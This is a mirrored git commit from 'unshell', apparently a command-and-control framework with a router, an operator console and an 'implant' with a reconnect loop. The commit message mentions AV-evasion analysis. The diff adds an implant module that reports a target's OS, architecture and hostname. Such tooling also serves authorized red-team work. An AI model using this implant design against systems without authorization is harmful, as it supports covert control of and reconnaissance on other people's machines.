mirror of
https://github.com/Astatin3/unshell.git
synced 2026-06-09 06:47:59 -06:00
feat: complete protocol spec and initial implementation
- Write PROTOCOL.md with full wire format spec and 8 real-world scenario
analyses (reconnect, multi-operator, large files, AV evasion, router crash,
malformed packets, future pivoting)
- Rewrite workspace structure:
- unshell lib: protocol types (PacketHeader, TreeRequest/Response,
HandshakeMessage/Ack), Transport trait, TcpTransport, Tree routing
- ush-router: router binary with per-node threads, NodeRegistry with
longest-prefix path matching, packet relay
- ush-payload: implant binary with reconnect loop, module tree, InfoModule
- ush-cli: operator REPL with rustyline, session management, command parser
- Protocol design: two-part rkyv frame [header][payload]; router reads only
header for routing, payload bytes forwarded opaque
- All code documented with doc comments and examples
- Zero warnings, zero errors across entire workspace
- 32 tests pass (unit tests for tree routing, TCP transport, framing,
command parsing, node registry)
This commit is contained in:
@@ -0,0 +1,88 @@
|
||||
//! # Info Module
|
||||
//!
|
||||
//! Provides basic system information about the target at `/info`.
|
||||
//!
|
||||
//! ## Supported requests
|
||||
//!
|
||||
//! | Path | RequestType | Returns |
|
||||
//! |---|---|---|
|
||||
//! | `/info` | `Read` | UTF-8 string: OS name, arch, hostname |
|
||||
//! | `/info` | `GetProcedures` | List of available procedures |
|
||||
//!
|
||||
//! ## Example
|
||||
//!
|
||||
//! From the operator CLI:
|
||||
//! ```text
|
||||
//! unshell [agents/abc123]> read info
|
||||
//! linux x86_64 hostname=target-machine
|
||||
//! ```
|
||||
|
||||
use unshell::protocol::{
|
||||
content, ProcedureDescriptor, RequestType, ResponseStatus, TreeRequest, TreeResponse,
|
||||
};
|
||||
use unshell::tree::Endpoint;
|
||||
|
||||
/// Returns basic system information about the target host.
|
||||
pub struct InfoModule;
|
||||
|
||||
impl Endpoint for InfoModule {
|
||||
fn handle(&mut self, request: TreeRequest) -> TreeResponse {
|
||||
match request.request_type {
|
||||
RequestType::Read => handle_read(request),
|
||||
RequestType::GetProcedures => handle_get_procedures(request),
|
||||
_ => TreeResponse {
|
||||
request_id: request.request_id,
|
||||
status: ResponseStatus::UnsupportedOperation,
|
||||
content_type: content::NONE.to_owned(),
|
||||
data: Vec::new(),
|
||||
},
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Return a one-line system summary.
|
||||
fn handle_read(request: TreeRequest) -> TreeResponse {
|
||||
let os = std::env::consts::OS;
|
||||
let arch = std::env::consts::ARCH;
|
||||
let hostname = hostname();
|
||||
let info = format!("os={os} arch={arch} hostname={hostname}");
|
||||
TreeResponse {
|
||||
request_id: request.request_id,
|
||||
status: ResponseStatus::Ok,
|
||||
content_type: content::UTF8_STRING.to_owned(),
|
||||
data: info.into_bytes(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Return a list of procedures this module supports.
|
||||
fn handle_get_procedures(request: TreeRequest) -> TreeResponse {
|
||||
let procedures = vec![ProcedureDescriptor {
|
||||
name: "read".to_owned(),
|
||||
description: "Returns os, arch, and hostname of this target".to_owned(),
|
||||
}];
|
||||
|
||||
let Ok(payload) = rkyv::to_bytes::<rkyv::rancor::Error>(&procedures) else {
|
||||
return TreeResponse {
|
||||
request_id: request.request_id,
|
||||
status: ResponseStatus::ExecutionError,
|
||||
content_type: content::NONE.to_owned(),
|
||||
data: Vec::new(),
|
||||
};
|
||||
};
|
||||
|
||||
TreeResponse {
|
||||
request_id: request.request_id,
|
||||
status: ResponseStatus::Ok,
|
||||
content_type: content::PROCEDURE_LIST.to_owned(),
|
||||
data: payload.to_vec(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Get the system hostname, or "unknown" if unavailable.
|
||||
fn hostname() -> String {
|
||||
// std::net::IpAddr doesn't give us hostname; use /etc/hostname or gethostname
|
||||
// For now, use a simple approach that doesn't require extra deps.
|
||||
std::fs::read_to_string("/etc/hostname")
|
||||
.map(|s| s.trim().to_owned())
|
||||
.unwrap_or_else(|_| "unknown".to_owned())
|
||||
}
|
||||
Reference in New Issue
Block a user